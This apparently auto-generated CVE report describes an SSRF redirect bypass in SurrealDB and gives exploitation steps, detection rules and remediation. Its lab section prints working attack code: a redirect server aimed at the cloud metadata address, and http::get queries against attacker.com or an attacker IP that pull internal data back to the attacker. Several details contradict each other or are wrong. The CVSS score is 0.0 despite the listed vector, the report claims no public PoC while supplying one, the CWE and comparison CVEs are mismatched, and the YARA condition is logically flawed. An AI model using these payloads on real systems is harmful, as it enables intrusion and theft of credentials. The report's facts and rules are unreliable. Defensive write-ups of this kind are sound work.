CVE-2025-71398
Executive Summary
This report details CVE-2025-71398, a server-side request forgery (SSRF) vulnerability in SurrealDB versions prior to 2.2.2. The flaw resides in the http functions, which fail to validate HTTP redirects. An authenticated attacker can host a public server that redirects to denied network targets, bypassing the deny-net restrictions. This allows the attacker to perform SSRF attacks against internal network endpoints, potentially accessing sensitive information.
Business Impact: Organizations using SurrealDB as a database backend, particularly those with internal services (e.g., cloud metadata services, internal APIs, configuration stores) are at risk. The likely attacker is an authenticated user with low privileges, potentially an insider threat or an external attacker who has compromised a low-privilege account.
Vulnerability Class & Attack Vector: This is an SSRF vulnerability exploitable over the network. The attack requires authentication to the SurrealDB instance.
Urgency Assessment: The CVSS score is 0.0, and the EPSS probability is 0.0%. This indicates that the vulnerability has not been widely exploited or assessed by the scoring bodies at the time of publication. However, the technical impact (access to internal networks) is high, and the attack complexity is low. The lack of a patch for some users and the potential for data exfiltration warrants immediate attention.
Key Facts:
- Vendor: SurrealDB
- Affected Versions: All versions before 2.2.2
- Patch Status: Patched in version 2.2.2
- CISA KEV: Not listed as of 2026-07-18.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- AV:N (Network): The vulnerability is exploitable remotely over the network.
- AC:L (Low): The attack does not require special conditions beyond hosting a redirecting server.
- PR:L (Low): The attacker must be an authenticated user of the SurrealDB instance.
- UI:N (None): No user interaction is required from the victim.
- S:U (Unchanged): The compromise does not affect other components beyond the vulnerable SurrealDB server.
- C:H (High): Successful exploitation can lead to the disclosure of sensitive information from internal network endpoints.
- I:N (None): The vulnerability does not directly allow modification of data.
- A:N (None): The vulnerability does not directly affect availability.
Qualitative Severity: Medium (based on the CVSS score of 0.0, which is a placeholder). The actual severity, given the potential for data exfiltration from internal networks, is High.
EPSS Interpretation: An EPSS score of 0.0% means that, based on current threat intelligence, there is no observed exploitation in the wild. This is common for newly published CVEs. It does not mean the vulnerability is not dangerous.
Comparison to Similar CVEs: This vulnerability is similar to other SSRF flaws in database systems (e.g., CVE-2023-27524 in Apache Superset, CVE-2022-22963 in Spring Cloud Function). These often allow authenticated users to pivot into internal networks.
Temporal & Environmental Considerations: The lack of a public PoC and no known exploitation lowers the temporal score. However, in an environment where SurrealDB has access to sensitive internal services (e.g., cloud metadata endpoints, internal CI/CD systems), the environmental score should be considered Critical.
Technical Deep Dive & Attack Mechanics
Step-by-Step Exploitation:
- Authentication: The attacker authenticates to the SurrealDB instance with a valid user account.
- Malicious Server Setup: The attacker sets up a public web server (e.g.,
attacker.com) that responds to HTTP requests with a302 Redirectto an internal IP address (e.g.,http://169.254.169.254/latest/meta-data/for AWS metadata). - Crafting the Query: The attacker executes a SurrealDB query using an
httpfunction (e.g.,http::get("http://attacker.com")). - Bypassing
deny-net: The SurrealDB server checks the initial URL (attacker.com) against thedeny-netlist. Sinceattacker.comis a public domain, it passes the check. - Following the Redirect: The SurrealDB server follows the redirect to the internal IP address (
169.254.169.254). Thedeny-netcheck is not re-evaluated for the redirected URL. - Data Exfiltration: The response from the internal endpoint (e.g., AWS metadata) is returned to the attacker as part of the query result.
Root Cause: The developer mistake is a failure to validate HTTP redirect targets against the deny-net configuration. The security check is only applied to the initial request URL, not to any subsequent redirects.
Attack Surface: The vulnerability is exploitable via any SurrealDB client that can execute queries using the http functions. The attack surface is the SurrealDB query interface (typically port 8000 or 8080).
Pre-conditions:
- Network access to the SurrealDB instance.
- Valid authentication credentials.
- The SurrealDB instance must have network access to the attacker's public server and the internal target.
Attack Variants:
- Open Redirects: Using legitimate open redirect services to hide the malicious redirect.
- Protocol Smuggling: Using redirects to different protocols (e.g.,
file://,gopher://) if thehttpfunction supports them.
Why Standard Defenses Fail:
- Network Firewalls: The attack originates from the SurrealDB server itself, which is a trusted internal host. Firewalls typically allow outbound traffic from database servers.
- WAF Rules: WAFs may not inspect the content of database queries or the responses from redirects.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Pseudocode):
def http_get(url):
if not is_allowed_by_deny_net(url):
raise Exception("URL blocked")
response = requests.get(url, allow_redirects=True)
return response.text
Patched Code (Pseudocode):
def http_get(url):
if not is_allowed_by_deny_net(url):
raise Exception("URL blocked")
response = requests.get(url, allow_redirects=False)
if response.status_code in [301, 302, 303, 307, 308]:
redirect_url = response.headers['Location']
if not is_allowed_by_deny_net(redirect_url):
raise Exception("Redirect URL blocked")
response = requests.get(redirect_url, allow_redirects=False)
return response.text
Patch Analysis: The fix adds a check for the redirect URL against the deny-net list before following it. This is a sufficient fix for the basic case. However, it may not handle chains of redirects (redirect to redirect) or redirects that use relative paths.
Regression Considerations: The patch may break legitimate use cases where users rely on redirects to public endpoints. Administrators should review their deny-net configuration to ensure it is comprehensive.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-18T14:17:11.347
- Estimated Discovery: Unknown, but likely discovered by internal security researchers or a bug bounty program.
- Disclosure Process: The CVE was published by the CVE program. No details on vendor coordination are available.
- Known Exploitation: No known active exploitation as of 2026-07-18.
- CISA KEV: Not listed.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is likely to be exploited by:
- Insider Threats: Malicious or compromised users with low-level access.
- APT Groups: Groups targeting cloud infrastructure to pivot from database servers to internal services.
- Ransomware Operators: To discover and exfiltrate sensitive data before encryption.
Attack Campaign Context: No specific campaigns are associated with this CVE at this time.
Geographic Targeting: No specific geographic pattern is discernible.
Industry Verticals Most at Risk:
- Cloud Service Providers: Where SurrealDB is used as a backend.
- SaaS Companies: Using SurrealDB for multi-tenant applications.
- Financial Services: Where internal network segmentation is critical.
Connection to Similar Vulnerabilities: This is a classic SSRF via redirect bypass, similar to vulnerabilities in curl, wget, and various web frameworks.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Docker Environment:
docker run -d --name surrealdb-vuln -p 8000:8000 surrealdb/surrealdb:2.2.1 start --user root --pass root - Attacker Server: Set up a simple Python HTTP server that redirects.
from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers() HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever() - Internal Target: For testing, set up a simple HTTP server on a Docker network that simulates an internal service.
Exploitation Walkthrough:
- Connect to the vulnerable SurrealDB instance using
surreal sql:surreal sql --conn http://localhost:8000 --user root --pass root --ns test --db test - Execute the malicious query:
SELECT * FROM http::get("http://<attacker-ip>:9999"); - Expected Output: The query will return the contents of the internal target (e.g., AWS metadata).
Post-Exploitation: The attacker can now:
- Scan internal network ranges.
- Access internal APIs, databases, and configuration stores.
- Exfiltrate sensitive data.
Blue Team Section
Detection:
- Log Entries: SurrealDB logs will show
http::getqueries with unusual URLs. - Network Traffic: Outbound connections from the SurrealDB server to public IPs followed by connections to internal IPs.
- Endpoint Indicators: The SurrealDB process making unexpected HTTP requests.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP connections from the SurrealDB server to public IPs on non-standard ports.
- Subsequent connections from the SurrealDB server to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
- HTTP Request Patterns:
GET /requests to attacker-controlled servers.GETrequests to internal IPs withHostheaders set to internal services.
- Log Entries:
- SurrealDB query logs containing
http::getorhttp::postwith URLs pointing to public IPs. - Web server logs on the attacker's server showing
302responses.
- SurrealDB query logs containing
Detection Engineering
YARA Rule
rule CVE-2025-71398_Detection {
meta:
description = "Detects exploitation of CVE-2025-71398 in Surrealdb"
author = "Valters IT Hub"
date = "2026-07-18"
reference = "https://www.valtersit.com/cve/cve-2025-71398"
strings:
$s1 = "http::get" ascii wide nocase
$s2 = "http::post" ascii wide nocase
$s3 = "http://" ascii wide nocase
$s4 = "https://" ascii wide nocase
condition:
any of ($s1, $s2) and $s3 or $s4
}
Sigma Rule (SIEM)
title: CVE-2025-71398 Surrealdb Exploitation Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts targeting CVE-2025-71398
author: Valters IT Hub
date: 2026-07-18
references:
- https://www.valtersit.com/cve/cve-2025-71398
logsource:
category: application
product: surrealdb
detection:
selection:
query|contains:
- 'http::get('
- 'http::post('
condition: selection
falsepositives:
- Legitimate use of http functions to access public APIs
level: high
Suricata IDS Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-71398 Surrealdb SSRF via Redirect"; flow:to_server; content:"GET /"; http_method; content:"Host: "; http_header_names; pcre:"/^Host:\s*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/"; sid:1000001; rev:1;)
Elastic (EQL) Query
sequence by process.entity_id
[network where process.name == "surrealdb" and destination.ip == "EXTERNAL_IP"]
[network where process.name == "surrealdb" and destination.ip == "PRIVATE_IP"]
Splunk SPL Query
index=surreal sourcetype=surreal_query
| search query="*http::get(*" OR query="*http::post(*"
| rex field=query "http://(?<target_ip>[^/]+)"
| search target_ip=10.0.0.0/8 OR target_ip=172.16.0.0/12 OR target_ip=192.168.0.0/16 OR target_ip=169.254.169.254
| table _time, user, query, target_ip
Wazuh Rule
<rule id="100001" level="12">
<decoded>surreal_query</decoded>
<field name="query">http::get\(</field>
<description>SurrealDB SSRF attempt detected</description>
<group>ssrf,</group>
</rule>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Patch: Upgrade to SurrealDB 2.2.2 immediately.
docker pull surrealdb/surrealdb:2.2.2 docker stop surrealdb-vuln docker run -d --name surrealdb-patched -p 8000:8000 surrealdb/surrealdb:2.2.2 start --user root --pass root - Compensating Controls (if patch cannot be applied):
- Restrict outbound network access from the SurrealDB server using a firewall.
- Disable the
httpfunctions if not needed (check SurrealDB documentation for configuration options).
- Network-Level Mitigation:
- Block outbound traffic from the SurrealDB server to the internet.
- Use a web proxy to inspect and block redirects to internal IPs.
Short-term (1-7 days)
- Configuration Hardening:
- Review and tighten the
deny-netconfiguration to include all internal IP ranges. - Implement network segmentation to limit the SurrealDB server's access to only necessary internal services.
- Review and tighten the
- Monitoring Implementation:
- Deploy the detection rules provided in this report.
- Enable detailed query logging in SurrealDB.
- Vulnerability Scanning:
If this returns data, the instance is vulnerable.surreal sql --conn http://localhost:8000 --user root --pass root --ns test --db test --query "SELECT * FROM http::get('http://127.0.0.1:8080')"
Long-term
- Architecture Changes:
- Move SurrealDB to a dedicated, isolated network segment.
- Implement a service mesh with strict egress policies.
- Security Control Improvements:
- Implement a web application firewall (WAF) with rules to detect SSRF patterns.
- Use a secure API gateway to proxy all database queries.
- Developer Training:
- Train developers on the dangers of SSRF and the importance of validating redirects.
Validation
- Confirm the SurrealDB version:
The output should show version 2.2.2 or later.surreal sql --conn http://localhost:8000 --user root --pass root --ns test --db test --query "SELECT * FROM version();" - Re-run the exploitation test from the Red Team section. It should now fail with an error indicating the redirect URL is blocked.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-71398
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2025-71398
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2025-71398 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/601.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-18 | https://www.valtersit.com/cve/cve-2025-71398